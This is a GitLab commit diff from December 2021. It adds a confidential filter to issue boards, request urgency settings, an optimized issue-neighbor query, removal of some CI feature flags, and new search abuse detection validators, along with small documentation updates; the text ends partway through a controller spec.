Add latest changes from gitlab-org/gitlab@master

This commit is contained in:
GitLab Bot 2021-12-09 12:15:43 +00:00
parent 3d233a67cf
commit 15f5da601b
61 changed files with 1146 additions and 367 deletions

View File

@ -220,6 +220,10 @@ export const FiltersInfo = {
types: {
negatedSupport: true,
},
confidential: {
negatedSupport: false,
transform: (val) => val === 'yes',
},
search: {
negatedSupport: false,
},

View File

@ -45,6 +45,7 @@ export default {
epicId,
myReactionEmoji,
releaseTag,
confidential,
} = this.filterParams;
const filteredSearchValue = [];
@ -113,6 +114,13 @@ export default {
});
}
if (confidential !== undefined) {
filteredSearchValue.push({
type: 'confidential',
value: { data: confidential },
});
}
if (epicId) {
filteredSearchValue.push({
type: 'epic',
@ -211,6 +219,7 @@ export default {
myReactionEmoji,
iterationId,
releaseTag,
confidential,
} = this.filterParams;
let notParams = {};
@ -245,6 +254,7 @@ export default {
epic_id: isGid(epicId) ? getIdFromGraphQLId(epicId) : epicId,
my_reaction_emoji: myReactionEmoji,
release_tag: releaseTag,
confidential,
};
},
},
@ -311,6 +321,9 @@ export default {
case 'release':
filterParams.releaseTag = filter.value.data;
break;
case 'confidential':
filterParams.confidential = filter.value.data;
break;
case 'filtered-search-term':
if (filter.value.data) plainText.push(filter.value.data);
break;

View File

@ -349,6 +349,9 @@ export default {
v-if="showCreate"
v-gl-modal-directive="'board-config-modal'"
data-qa-selector="create_new_board_button"
data-track-action="click_button"
data-track-label="create_new_board"
data-track-property="dropdown"
@click.prevent="showPage('new')"
>
{{ s__('IssueBoards|Create new board') }}

View File

@ -13,6 +13,7 @@ import { __ } from '~/locale';
import {
TOKEN_TITLE_MY_REACTION,
OPERATOR_IS_AND_IS_NOT,
OPERATOR_IS_ONLY,
} from '~/vue_shared/components/filtered_search_bar/constants';
import AuthorToken from '~/vue_shared/components/filtered_search_bar/tokens/author_token.vue';
import EmojiToken from '~/vue_shared/components/filtered_search_bar/tokens/emoji_token.vue';
@ -36,6 +37,7 @@ export default {
issue: __('Issue'),
milestone: __('Milestone'),
release: __('Release'),
confidential: __('Confidential'),
},
components: { BoardFilteredSearch },
inject: ['isSignedIn', 'releasesFetchPath'],
@ -68,6 +70,7 @@ export default {
type,
milestone,
release,
confidential,
} = this.$options.i18n;
const { types } = this.$options;
const { fetchAuthors, fetchLabels } = issueBoardFilters(
@ -132,6 +135,18 @@ export default {
});
},
},
{
type: 'confidential',
icon: 'eye-slash',
title: confidential,
unique: true,
token: GlFilteredSearchToken,
operators: OPERATOR_IS_ONLY,
options: [
{ icon: 'eye-slash', value: 'yes', title: __('Yes') },
{ icon: 'eye', value: 'no', title: __('No') },
],
},
]
: []),
{

View File

@ -104,6 +104,7 @@ export const FilterFields = {
'assigneeUsername',
'assigneeWildcardId',
'authorUsername',
'confidential',
'labelName',
'milestoneTitle',
'milestoneWildcardId',

View File

@ -1,6 +1,5 @@
import { memoize } from 'lodash';
import { createNodeDict } from '../utils';
import { EXPLICIT_NEEDS_PROPERTY, NEEDS_PROPERTY } from '../constants';
import { createSankey } from './dag/drawing_utils';
/*
@ -16,14 +15,12 @@ const deduplicate = (item, itemIndex, arr) => {
return foundIdx === itemIndex;
};
export const makeLinksFromNodes = (nodes, nodeDict, { needsKey = NEEDS_PROPERTY } = {}) => {
export const makeLinksFromNodes = (nodes, nodeDict) => {
const constantLinkValue = 10; // all links are the same weight
return nodes
.map(({ jobs, name: groupName }) =>
jobs.map((job) => {
const needs = job[needsKey] || [];
return needs.reduce((acc, needed) => {
jobs.map(({ needs = [] }) =>
needs.reduce((acc, needed) => {
// It's possible that we have an optional job, which
// is being needed by another job. In that scenario,
// the needed job doesn't exist, so we don't want to
@ -37,8 +34,8 @@ export const makeLinksFromNodes = (nodes, nodeDict, { needsKey = NEEDS_PROPERTY
}
return acc;
}, []);
}),
}, []),
),
)
.flat(2);
};
@ -79,9 +76,9 @@ export const filterByAncestors = (links, nodeDict) =>
return !allAncestors.includes(source);
});
export const parseData = (nodes, { needsKey = NEEDS_PROPERTY } = {}) => {
const nodeDict = createNodeDict(nodes, { needsKey });
const allLinks = makeLinksFromNodes(nodes, nodeDict, { needsKey });
export const parseData = (nodes) => {
const nodeDict = createNodeDict(nodes);
const allLinks = makeLinksFromNodes(nodes, nodeDict);
const filteredLinks = allLinks.filter(deduplicate);
const links = filterByAncestors(filteredLinks, nodeDict);
@ -126,8 +123,7 @@ export const removeOrphanNodes = (sankeyfiedNodes) => {
export const listByLayers = ({ stages }) => {
const arrayOfJobs = stages.flatMap(({ groups }) => groups);
const parsedData = parseData(arrayOfJobs);
const explicitParsedData = parseData(arrayOfJobs, { needsKey: EXPLICIT_NEEDS_PROPERTY });
const dataWithLayers = createSankey()(explicitParsedData);
const dataWithLayers = createSankey()(parsedData);
const pipelineLayers = dataWithLayers.nodes.reduce((acc, { layer, name }) => {
/* sort groups by layer */

View File

@ -1,5 +1,4 @@
import { reportToSentry } from '../utils';
import { EXPLICIT_NEEDS_PROPERTY, NEEDS_PROPERTY } from '../constants';
const unwrapGroups = (stages) => {
return stages.map((stage, idx) => {
@ -28,16 +27,12 @@ const unwrapNodesWithName = (jobArray, prop, field = 'name') => {
}
return jobArray.map((job) => {
if (job[prop]) {
return { ...job, [prop]: job[prop].nodes.map((item) => item[field] || '') };
}
return job;
return { ...job, [prop]: job[prop].nodes.map((item) => item[field] || '') };
});
};
const unwrapJobWithNeeds = (denodedJobArray) => {
const explicitNeedsUnwrapped = unwrapNodesWithName(denodedJobArray, EXPLICIT_NEEDS_PROPERTY);
return unwrapNodesWithName(explicitNeedsUnwrapped, NEEDS_PROPERTY);
return unwrapNodesWithName(denodedJobArray, 'needs');
};
const unwrapStagesWithNeedsAndLookup = (denodedStages) => {

View File

@ -7,8 +7,6 @@ export const ANY_TRIGGER_AUTHOR = 'Any';
export const SUPPORTED_FILTER_PARAMETERS = ['username', 'ref', 'status', 'source'];
export const FILTER_TAG_IDENTIFIER = 'tag';
export const SCHEDULE_ORIGIN = 'schedule';
export const NEEDS_PROPERTY = 'needs';
export const EXPLICIT_NEEDS_PROPERTY = 'previousStageJobsOrNeeds';
export const TestStatus = {
FAILED: 'failed',

View File

@ -1,6 +1,6 @@
import * as Sentry from '@sentry/browser';
import { pickBy } from 'lodash';
import { SUPPORTED_FILTER_PARAMETERS, NEEDS_PROPERTY } from './constants';
import { SUPPORTED_FILTER_PARAMETERS } from './constants';
/*
The following functions are the main engine in transforming the data as
@ -35,11 +35,11 @@ import { SUPPORTED_FILTER_PARAMETERS, NEEDS_PROPERTY } from './constants';
10 -> value (constant)
*/
export const createNodeDict = (nodes, { needsKey = NEEDS_PROPERTY } = {}) => {
export const createNodeDict = (nodes) => {
return nodes.reduce((acc, node) => {
const newNode = {
...node,
needs: node.jobs.map((job) => job[needsKey] || []).flat(),
needs: node.jobs.map((job) => job.needs || []).flat(),
};
if (node.size > 1) {

View File

@ -110,7 +110,7 @@ export default {
<template>
<div
v-gl-tooltip="tooltipOptions"
:class="{ 'multiple-users': hasMoreThanOneAssignee }"
:class="{ 'multiple-users gl-relative': hasMoreThanOneAssignee }"
:title="tooltipTitle"
class="sidebar-collapsed-icon sidebar-collapsed-user"
>

View File

@ -89,7 +89,7 @@ export default {
<template>
<div
v-gl-tooltip="tooltipOptions"
:class="{ 'multiple-users': hasMoreThanOneReviewer }"
:class="{ 'multiple-users gl-relative': hasMoreThanOneReviewer }"
:title="tooltipTitle"
class="sidebar-collapsed-icon sidebar-collapsed-user"
>

View File

@ -456,12 +456,6 @@
}
.multiple-users {
position: relative;
height: 24px;
margin-bottom: 17px;
margin-top: 4px;
padding-bottom: 4px;
.btn-link {
padding: 0;
border: 0;

View File

@ -9,6 +9,8 @@ class AutocompleteController < ApplicationController
feature_category :code_review, [:merge_request_target_branches]
feature_category :continuous_delivery, [:deploy_keys_with_owners]
urgency :low, [:merge_request_target_branches]
def users
group = Autocomplete::GroupFinder
.new(current_user, project, params)

View File

@ -18,6 +18,8 @@ class DashboardController < Dashboard::ApplicationController
feature_category :team_planning, [:issues, :issues_calendar]
feature_category :code_review, [:merge_requests]
urgency :low, [:merge_requests]
def activity
respond_to do |format|
format.html

View File

@ -5,6 +5,8 @@ class Groups::AutocompleteSourcesController < Groups::ApplicationController
feature_category :team_planning, [:issues, :labels, :milestones, :commands]
feature_category :code_review, [:merge_requests]
urgency :low, [:merge_requests]
def members
render json: ::Groups::ParticipantsService.new(@group, current_user).execute(target)
end

View File

@ -60,6 +60,7 @@ class GroupsController < Groups::ApplicationController
feature_category :importers, [:export, :download_export]
urgency :high, [:unfoldered_environment_names]
urgency :low, [:merge_requests]
def index
redirect_to(current_user ? dashboard_groups_path : explore_groups_path)

View File

@ -8,6 +8,8 @@ class Projects::AutocompleteSourcesController < Projects::ApplicationController
feature_category :users, [:members]
feature_category :snippets, [:snippets]
urgency :low, [:merge_requests]
def members
render json: ::Projects::ParticipantsService.new(@project, current_user).execute(target)
end

View File

@ -5,6 +5,12 @@ class Projects::MergeRequests::ConflictsController < Projects::MergeRequests::Ap
before_action :authorize_can_resolve_conflicts!
urgency :low, [
:show,
:conflict_for_path,
:resolve_conflicts
]
def show
respond_to do |format|
format.html do

View File

@ -13,6 +13,11 @@ class Projects::MergeRequests::ContentController < Projects::MergeRequests::Appl
FAST_POLLING_INTERVAL = 10.seconds.in_milliseconds
SLOW_POLLING_INTERVAL = 5.minutes.in_milliseconds
urgency :low, [
:widget,
:cached_widget
]
def widget
respond_to do |format|
format.json do

View File

@ -10,6 +10,15 @@ class Projects::MergeRequests::CreationsController < Projects::MergeRequests::Ap
before_action :apply_diff_view_cookie!, only: [:diffs, :diff_for_path]
before_action :build_merge_request, except: [:create]
urgency :low, [
:new,
:create,
:pipelines,
:diffs,
:branch_from,
:branch_to
]
def new
define_new_vars
end

View File

@ -14,6 +14,13 @@ class Projects::MergeRequests::DiffsController < Projects::MergeRequests::Applic
after_action :track_viewed_diffs_events, only: [:diffs_batch]
urgency :low, [
:show,
:diff_for_path,
:diffs_batch,
:diffs_metadata
]
def show
render_diffs
end

View File

@ -9,6 +9,13 @@ class Projects::MergeRequests::DraftsController < Projects::MergeRequests::Appli
before_action :authorize_admin_draft!, only: [:update, :destroy]
before_action :authorize_admin_draft!, if: -> { action_name == 'publish' && params[:id].present? }
urgency :low, [
:create,
:update,
:destroy,
:publish
]
def index
drafts = prepare_notes_for_rendering(draft_notes)
render json: DraftNoteSerializer.new(current_user: current_user).represent(drafts)

View File

@ -71,6 +71,21 @@ class Projects::MergeRequestsController < Projects::MergeRequests::ApplicationCo
feature_category :continuous_integration, [:pipeline_status, :pipelines, :exposed_artifacts]
urgency :high, [:export_csv]
urgency :low, [
:index,
:show,
:commits,
:bulk_update,
:edit,
:update,
:cancel_auto_merge,
:merge,
:ci_environments_status,
:destroy,
:rebase,
:discussions,
:description_diff
]
def index
@merge_requests = @issuables

View File

@ -12,7 +12,6 @@ class SearchController < ApplicationController
around_action :allow_gitaly_ref_name_caching
before_action :block_anonymous_global_searches, :check_scope_global_search_enabled, except: :opensearch
before_action :strip_surrounding_whitespace_from_search, except: :opensearch
skip_before_action :authenticate_user!
requires_cross_project_access if: -> do
search_term_present = params[:search].present? || params[:term].present?
@ -93,12 +92,12 @@ class SearchController < ApplicationController
def search_term_valid?
unless search_service.valid_query_length?
flash[:alert] = t('errors.messages.search_chars_too_long', count: SearchService::SEARCH_CHAR_LIMIT)
flash[:alert] = t('errors.messages.search_chars_too_long', count: Gitlab::Search::Params::SEARCH_CHAR_LIMIT)
return false
end
unless search_service.valid_terms_count?
flash[:alert] = t('errors.messages.search_terms_too_long', count: SearchService::SEARCH_TERM_LIMIT)
flash[:alert] = t('errors.messages.search_terms_too_long', count: Gitlab::Search::Params::SEARCH_TERM_LIMIT)
return false
end
@ -143,6 +142,11 @@ class SearchController < ApplicationController
payload[:metadata]['meta.search.filters.confidential'] = params[:confidential]
payload[:metadata]['meta.search.filters.state'] = params[:state]
payload[:metadata]['meta.search.force_search_results'] = params[:force_search_results]
if search_service.abuse_detected?
payload[:metadata]['abuse.confidence'] = Gitlab::Abuse.confidence(:certain)
payload[:metadata]['abuse.messages'] = search_service.abuse_messages
end
end
def block_anonymous_global_searches
@ -194,10 +198,6 @@ class SearchController < ApplicationController
render status: :request_timeout
end
end
def strip_surrounding_whitespace_from_search
%i(term search).each { |param| params[param]&.strip! }
end
end
SearchController.prepend_mod_with('SearchController')

View File

@ -91,14 +91,6 @@ query getPipelineDetails($projectPath: ID!, $iid: ID!) {
name
}
}
previousStageJobsOrNeeds {
__typename
nodes {
__typename
id
name
}
}
status: detailedStatus {
__typename
id

View File

@ -168,6 +168,24 @@ module RelativePositioning
self.relative_position = MIN_POSITION
end
def next_object_by_relative_position(ignoring: nil, order: :asc)
relation = relative_positioning_scoped_items(ignoring: ignoring).reorder(relative_position: order)
relation = if order == :asc
relation.where(self.class.arel_table[:relative_position].gt(relative_position))
else
relation.where(self.class.arel_table[:relative_position].lt(relative_position))
end
relation.first
end
def relative_positioning_scoped_items(ignoring: nil)
relation = self.class.relative_positioning_query_base(self)
relation = exclude_self(relation, excluded: ignoring) if ignoring.present?
relation
end
# This method is used during rebalancing - override it to customise the update
# logic:
def update_relative_siblings(relation, range, delta)

View File

@ -229,9 +229,37 @@ class Issue < ApplicationRecord
end
end
def next_object_by_relative_position(ignoring: nil, order: :asc)
return super unless Feature.enabled?(:optimized_issue_neighbor_queries, project, default_enabled: :yaml)
array_mapping_scope = -> (id_expression) do
relation = Issue.where(Issue.arel_table[:project_id].eq(id_expression))
if order == :asc
relation.where(Issue.arel_table[:relative_position].gt(relative_position))
else
relation.where(Issue.arel_table[:relative_position].lt(relative_position))
end
end
relation = Gitlab::Pagination::Keyset::InOperatorOptimization::QueryBuilder.new(
scope: Issue.order(relative_position: order, id: order),
array_scope: relative_positioning_parent_projects,
array_mapping_scope: array_mapping_scope,
finder_query: -> (_, id_expression) { Issue.where(Issue.arel_table[:id].eq(id_expression)) }
).execute
relation = exclude_self(relation, excluded: ignoring) if ignoring.present?
relation.take
end
def relative_positioning_parent_projects
project.group&.root_ancestor&.all_projects&.select(:id) || Project.id_in(project).select(:id)
end
def self.relative_positioning_query_base(issue)
projects = issue.project.group&.root_ancestor&.all_projects || issue.project
in_projects(projects)
in_projects(issue.relative_positioning_parent_projects)
end
def self.relative_positioning_parent_column

View File

@ -1,6 +1,6 @@
# frozen_string_literal: true
class GroupPolicy < BasePolicy
class GroupPolicy < Namespaces::GroupProjectNamespaceSharedPolicy
include FindGroupProjects
desc "Group is public"

View File

@ -0,0 +1,9 @@
# frozen_string_literal: true
module Namespaces
class GroupProjectNamespaceSharedPolicy < ::NamespacePolicy
# Nothing here at the moment, but as we move policies from ProjectPolicy to ProjectNamespacePolicy,
# anything common with GroupPolicy but not with UserNamespacePolicy can go in here.
# See https://gitlab.com/groups/gitlab-org/-/epics/6689
end
end

View File

@ -1,7 +1,7 @@
# frozen_string_literal: true
module Namespaces
class ProjectNamespacePolicy < NamespacePolicy
class ProjectNamespacePolicy < Namespaces::GroupProjectNamespaceSharedPolicy
# For now users are not granted any permissions on project namespace
# as it's completely hidden to them. When we start using project
# namespaces in queries, we will have to extend this policy.

View File

@ -89,11 +89,9 @@ module Ci
end
def runner_projects_relation
if ::Feature.enabled?(:ci_pending_builds_project_runners_decoupling, runner, default_enabled: :yaml)
runner.runner_projects.select('"ci_runner_projects"."project_id"::bigint')
else
runner.projects.without_deleted.with_builds_enabled
end
runner
.runner_projects
.select('"ci_runner_projects"."project_id"::bigint')
end
end
end

View File

@ -269,14 +269,7 @@ module Ci
{
missing_dependency_failure: -> (build, _) { !build.has_valid_build_dependencies? },
runner_unsupported: -> (build, params) { !build.supported_runner?(params.dig(:info, :features)) },
archived_failure: -> (build, _) { build.archived? }
}.merge(builds_enabled_checks)
end
def builds_enabled_checks
return {} unless ::Feature.enabled?(:ci_queueing_builds_enabled_checks, runner, default_enabled: :yaml)
{
archived_failure: -> (build, _) { build.archived? },
project_deleted: -> (build, _) { build.project.pending_delete? },
builds_disabled: -> (build, _) { !build.project.builds_enabled? }
}

View File

@ -2,42 +2,35 @@
class SearchService
include Gitlab::Allowable
include Gitlab::Utils::StrongMemoize
SEARCH_TERM_LIMIT = 64
SEARCH_CHAR_LIMIT = 4096
DEFAULT_PER_PAGE = Gitlab::SearchResults::DEFAULT_PER_PAGE
MAX_PER_PAGE = 200
def initialize(current_user, params = {})
@current_user = current_user
@params = params.dup
@params = Gitlab::Search::Params.new(params, detect_abuse: prevent_abusive_searches?)
end
# rubocop: disable CodeReuse/ActiveRecord
def project
return @project if defined?(@project)
@project =
if params[:project_id].present?
strong_memoize(:project) do
if params[:project_id].present? && valid_request?
the_project = Project.find_by(id: params[:project_id])
can?(current_user, :read_project, the_project) ? the_project : nil
else
nil
end
end
end
# rubocop: enable CodeReuse/ActiveRecord
# rubocop: disable CodeReuse/ActiveRecord
def group
return @group if defined?(@group)
@group =
if params[:group_id].present?
strong_memoize(:group) do
if params[:group_id].present? && valid_request?
the_group = Group.find_by(id: params[:group_id])
can?(current_user, :read_group, the_group) ? the_group : nil
else
nil
end
end
end
# rubocop: enable CodeReuse/ActiveRecord
@ -55,18 +48,13 @@ class SearchService
@show_snippets = params[:snippets] == 'true'
end
def valid_query_length?
params[:search].length <= SEARCH_CHAR_LIMIT
end
def valid_terms_count?
params[:search].split.count { |word| word.length >= 3 } <= SEARCH_TERM_LIMIT
end
delegate :scope, to: :search_service
delegate :valid_terms_count?, :valid_query_length?, to: :params
def search_results
@search_results ||= search_service.execute
strong_memoize(:search_results) do
abuse_detected? ? Gitlab::EmptySearchResults.new : search_service.execute
end
end
def search_objects(preload_method = nil)
@ -83,8 +71,30 @@ class SearchService
search_results.aggregations(scope)
end
def abuse_detected?
strong_memoize(:abuse_detected) do
params.abusive?
end
end
def abuse_messages
return [] unless params.abusive?
params.abuse_detection.errors.messages
end
def valid_request?
strong_memoize(:valid_request) do
params.valid?
end
end
private
def prevent_abusive_searches?
Feature.enabled?(:prevent_abusive_searches, current_user)
end
def page
[1, params[:page].to_i].max
end

View File

@ -9,7 +9,7 @@
%a.js-retry-load{ href: '#' }
= s_('UserProfile|Retry')
.user-calendar-activities
- if @user.user_readme
- if @user.user_readme&.rich_viewer
.row.justify-content-center
.col-12.col-md-10.col-lg-8.gl-my-6
.gl-display-flex

View File

@ -1,8 +1,8 @@
---
name: ci_queueing_builds_enabled_checks
introduced_by_url: https://gitlab.com/gitlab-org/gitlab/-/merge_requests/70581
rollout_issue_url: https://gitlab.com/gitlab-org/gitlab/-/issues/341131
milestone: '14.4'
name: optimized_issue_neighbor_queries
introduced_by_url: https://gitlab.com/gitlab-org/gitlab/-/merge_requests/76073
rollout_issue_url: https://gitlab.com/gitlab-org/gitlab/-/issues/345921
milestone: '14.6'
type: development
group: group::pipeline execution
group: group::project management
default_enabled: false

View File

@ -1,8 +1,8 @@
---
name: ci_pending_builds_project_runners_decoupling
introduced_by_url: https://gitlab.com/gitlab-org/gitlab/-/merge_requests/70415
rollout_issue_url: https://gitlab.com/gitlab-org/gitlab/-/issues/341005
milestone: '14.4'
name: prevent_abusive_searches
introduced_by_url: https://gitlab.com/gitlab-org/gitlab/-/merge_requests/74953
rollout_issue_url: https://gitlab.com/gitlab-org/gitlab/-/issues/346263
milestone: '14.6'
type: development
group: group::pipeline execution
group: group::global search
default_enabled: false

View File

@ -0,0 +1,14 @@
- name: "Remove `type` and `types` keyword in CI/CD configuration" # The name of the feature to be deprecated
announcement_milestone: "14.6" # The milestone when this feature was first announced as deprecated.
announcement_date: "2021-12-22" # The date of the milestone release when this feature was first announced as deprecated. This should almost always be the 22nd of a month (YYYY-MM-22), unless you did an out of band blog post.
removal_milestone: "15.0" # The milestone when this feature is planned to be removed
body: | # Do not modify this line, instead modify the lines below.
The `type` and `types` CI/CD keywords will be removed in GitLab 15.0. Pipelines that use these keywords will stop working, so you must switch to `stage` and `stages`, which have the same behavior.
# The following items are not published on the docs page, but may be used in the future.
stage: # (optional - may be required in the future) String value of the stage that the feature was created in. e.g., Growth
tiers: # (optional - may be required in the future) An array of tiers that the feature is available in currently. e.g., [Free, Silver, Gold, Core, Premium, Ultimate]
issue_url: # (optional) This is a link to the deprecation issue in GitLab
documentation_url: # (optional) This is a link to the current documentation page
image_url: # (optional) This is a link to a thumbnail image depicting the feature
video_url: # (optional) Use the youtube thumbnail URL with the structure of https://img.youtube.com/vi/UNIQUEID/hqdefault.jpg
removal_date: # (optional - may be required in the future) YYYY-MM-DD format. This should almost always be the 22nd of a month (YYYY-MM-22), the date of the milestone release when this feature is planned to be removed

View File

@ -268,7 +268,7 @@ sudo -u git -H bundle exec rake gitlab:tcp_check[example.com,80] RAILS_ENV=produ
GitLab uses a shared lock mechanism: `ExclusiveLease` to prevent simultaneous operations
in a shared resource. An example is running periodic garbage collection on repositories.
In very specific situations, a operation locked by an Exclusive Lease can fail without
In very specific situations, an operation locked by an Exclusive Lease can fail without
releasing the lock. If you can't wait for it to expire, you can run this task to manually
clear it.

View File

@ -213,6 +213,12 @@ In GitLab 14.5, we introduced the command `gitlab-ctl promote` to promote any Ge
Announced: 2021-11-22
### Remove `type` and `types` keyword in CI/CD configuration
The `type` and `types` CI/CD keywords will be removed in GitLab 15.0. Pipelines that use these keywords will stop working, so you must switch to `stage` and `stages`, which have the same behavior.
Announced: 2021-12-22
### Remove the `:dependency_proxy_for_private_groups` feature flag
We added a feature flag because [GitLab-#11582](https://gitlab.com/gitlab-org/gitlab/-/issues/11582) changed how public groups use the Dependency Proxy. Prior to this change, you could use the Dependency Proxy without authentication. The change requires authentication to use the Dependency Proxy.

View File

@ -42,6 +42,11 @@ system note in the issue's comments.
![Confidential issues system notes](img/confidential_issues_system_notes.png)
When an issue is made confidential, only users with at least the [Reporter role](../../permissions.md)
for the project have access to the issue.
Users with Guest or [Minimal](../../permissions.md#users-with-minimal-access) roles can't access
the issue even if they were actively participating before the change.
## Indications of a confidential issue
There are a few things that visually separate a confidential issue from a

18
lib/gitlab/abuse.rb Normal file
View File

@ -0,0 +1,18 @@
# frozen_string_literal: true
module Gitlab
module Abuse
CONFIDENCE_LEVELS = {
certain: 1.0,
likely: 0.8,
uncertain: 0.5,
unknown: 0.0
}.freeze
class << self
def confidence(rating)
CONFIDENCE_LEVELS.fetch(rating.to_sym)
end
end
end
end

View File

@ -0,0 +1,28 @@
# frozen_string_literal: true
module Gitlab
# This class has the same interface as SearchResults except
# it is empty and does not do any work.
#
# We use this when responding to abusive search requests.
class EmptySearchResults
def initialize(*)
end
def objects(*)
Kaminari.paginate_array([])
end
def formatted_count(*)
'0'
end
def highlight_map(*)
{}
end
def aggregations(*)
[]
end
end
end

View File

@ -66,19 +66,11 @@ module Gitlab
end
def lhs_neighbour
scoped_items
.where('relative_position < ?', relative_position)
.reorder(relative_position: :desc)
.first
.then { |x| neighbour(x) }
neighbour(object.next_object_by_relative_position(ignoring: ignoring, order: :desc))
end
def rhs_neighbour
scoped_items
.where('relative_position > ?', relative_position)
.reorder(relative_position: :asc)
.first
.then { |x| neighbour(x) }
neighbour(object.next_object_by_relative_position(ignoring: ignoring, order: :asc))
end
def neighbour(item)
@ -87,12 +79,6 @@ module Gitlab
self.class.new(item, range, ignoring: ignoring)
end
def scoped_items
r = model_class.relative_positioning_query_base(object)
r = object.exclude_self(r, excluded: ignoring) if ignoring.present?
r
end
def calculate_relative_position(calculation)
# When calculating across projects, this is much more efficient than
# MAX(relative_position) without the GROUP BY, due to index usage:
@ -186,6 +172,10 @@ module Gitlab
Gap.new(gap.first, gap.second || default_end)
end
def scoped_items
object.relative_positioning_scoped_items(ignoring: ignoring)
end
def relative_position
object.relative_position
end

View File

@ -0,0 +1,81 @@
# frozen_string_literal: true
module Gitlab
module Search
class AbuseDetection
include ActiveModel::Validations
include AbuseValidators
ABUSIVE_TERM_SIZE = 100
ALLOWED_CHARS_REGEX = %r{\A[[:alnum:]_\-\/\.!]+\z}.freeze
MINIMUM_SEARCH_CHARS = 2
ALLOWED_SCOPES = %w(
blobs
code
commits
epics
issues
merge_requests
milestones
notes
projects
snippet_titles
users
wiki_blobs
).freeze
READABLE_PARAMS = %i(
group_id
project_id
project_ref
query_string
repository_ref
scope
).freeze
STOP_WORDS = %w(
a an and are as at be but by for if in into is it no not of on or such that the their then there these they this to was will with
).freeze
validates :project_id, :group_id,
numericality: { only_integer: true, message: "abusive ID detected" }, allow_blank: true
validates :scope, inclusion: { in: ALLOWED_SCOPES, message: 'abusive scope detected' }, allow_blank: true
validates :repository_ref, :project_ref,
format: { with: ALLOWED_CHARS_REGEX, message: "abusive characters detected" }, allow_blank: true
validates :query_string,
exclusion: { in: STOP_WORDS, message: 'stopword only abusive search detected' }, allow_blank: true
validates :query_string,
length: { minimum: MINIMUM_SEARCH_CHARS, message: 'abusive tiny search detected' }, unless: :skip_tiny_search_validation?, allow_blank: true
validates :query_string,
no_abusive_term_length: { maximum: ABUSIVE_TERM_SIZE, maximum_for_url: ABUSIVE_TERM_SIZE * 2 }
validates :query_string, :repository_ref, :project_ref, no_abusive_coercion_from_string: true
attr_reader(*READABLE_PARAMS)
def initialize(params)
READABLE_PARAMS.each { |p| instance_variable_set("@#{p}", params[p]) }
end
private
def skip_tiny_search_validation?
wildcard_search? || stop_word_search?
end
def wildcard_search?
query_string == '*'
end
def stop_word_search?
STOP_WORDS.include? query_string
end
end
end
end

View File

@ -0,0 +1,15 @@
# frozen_string_literal: true
module Gitlab
module Search
module AbuseValidators
class NoAbusiveCoercionFromStringValidator < ActiveModel::EachValidator
def validate_each(instance, attribute, value)
if value.present? && !value.is_a?(String)
instance.errors.add attribute, "abusive coercion from string detected"
end
end
end
end
end
end

View File

@ -0,0 +1,36 @@
# frozen_string_literal: true
module Gitlab
module Search
module AbuseValidators
class NoAbusiveTermLengthValidator < ActiveModel::EachValidator
def validate_each(instance, attribute, value)
return unless value.is_a?(String)
if value.split.any? { |term| term_too_long?(term) }
instance.errors.add attribute, 'abusive term length detected'
end
end
private
def term_too_long?(term)
char_limit = url_detected?(term) ? maximum_for_url : maximum
term.length >= char_limit
end
def url_detected?(uri_str)
URI::DEFAULT_PARSER.regexp[:ABS_URI].match? uri_str
end
def maximum_for_url
options.fetch(:maximum_for_url, maximum)
end
def maximum
options.fetch(:maximum)
end
end
end
end
end

View File

@ -0,0 +1,89 @@
# frozen_string_literal: true
module Gitlab
module Search
class Params
include ActiveModel::Validations
SEARCH_CHAR_LIMIT = 4096
SEARCH_TERM_LIMIT = 64
# Generic validation
validates :query_string, length: { maximum: SEARCH_CHAR_LIMIT }
validate :not_too_many_terms
attr_reader :raw_params, :query_string, :abuse_detection
alias_method :search, :query_string
alias_method :term, :query_string
def initialize(params, detect_abuse: true)
@raw_params = params.is_a?(Hash) ? params.with_indifferent_access : params.dup
@query_string = strip_surrounding_whitespace(@raw_params[:search] || @raw_params[:term])
@detect_abuse = detect_abuse
@abuse_detection = AbuseDetection.new(self) if @detect_abuse
validate
end
def [](key)
if respond_to? key
# We have this logic here to support reading custom attributes
# like @query_string
#
# This takes precedence over values in @raw_params
public_send(key) # rubocop:disable GitlabSecurity/PublicSend
else
raw_params[key]
end
end
def abusive?
detect_abuse? && abuse_detection.errors.any?
end
def valid_query_length?
return true unless errors.has_key? :query_string
errors[:query_string].none? { |msg| msg.include? SEARCH_CHAR_LIMIT.to_s }
end
def valid_terms_count?
return true unless errors.has_key? :query_string
errors[:query_string].none? { |msg| msg.include? SEARCH_TERM_LIMIT.to_s }
end
def validate
if detect_abuse?
abuse_detection.validate
end
super
end
def valid?
if detect_abuse?
abuse_detection.valid? && super
else
super
end
end
private
def detect_abuse?
@detect_abuse
end
def not_too_many_terms
if query_string.split.count { |word| word.length >= 3 } > SEARCH_TERM_LIMIT
errors.add :query_string, "has too many search terms (maximum is #{SEARCH_TERM_LIMIT})"
end
end
def strip_surrounding_whitespace(obj)
obj.to_s.strip
end
end
end
end

View File

@ -127,21 +127,26 @@ RSpec.describe SearchController do
context 'check search term length' do
let(:search_queries) do
char_limit = SearchService::SEARCH_CHAR_LIMIT
term_limit = SearchService::SEARCH_TERM_LIMIT
char_limit = Gitlab::Search::Params::SEARCH_CHAR_LIMIT
term_limit = Gitlab::Search::Params::SEARCH_TERM_LIMIT
term_char_limit = Gitlab::Search::AbuseDetection::ABUSIVE_TERM_SIZE
{
chars_under_limit: ('a' * (char_limit - 1)),
chars_over_limit: ('a' * (char_limit + 1)),
terms_under_limit: ('abc ' * (term_limit - 1)),
terms_over_limit: ('abc ' * (term_limit + 1))
chars_under_limit: (('a' * (term_char_limit - 1) + ' ') * (term_limit - 1))[0, char_limit],
chars_over_limit: (('a' * (term_char_limit - 1) + ' ') * (term_limit - 1))[0, char_limit + 1],
terms_under_limit: ('abc ' * (term_limit - 1)),
terms_over_limit: ('abc ' * (term_limit + 1)),
term_length_over_limit: ('a' * (term_char_limit + 1)),
term_length_under_limit: ('a' * (term_char_limit - 1))
}
end
where(:string_name, :expectation) do
:chars_under_limit | :not_to_set_flash
:chars_over_limit | :set_chars_flash
:terms_under_limit | :not_to_set_flash
:terms_over_limit | :set_terms_flash
:chars_under_limit | :not_to_set_flash
:chars_over_limit | :set_chars_flash
:terms_under_limit | :not_to_set_flash
:terms_over_limit | :set_terms_flash
:term_length_under_limit | :not_to_set_flash
:term_length_over_limit | :not_to_set_flash # abuse, so do nothing.
end
with_them do
@ -187,6 +192,14 @@ RSpec.describe SearchController do
expect(response).to have_gitlab_http_status(:ok)
end
end
context 'handling abusive search_terms' do
it 'succeeds but does NOT do anything' do
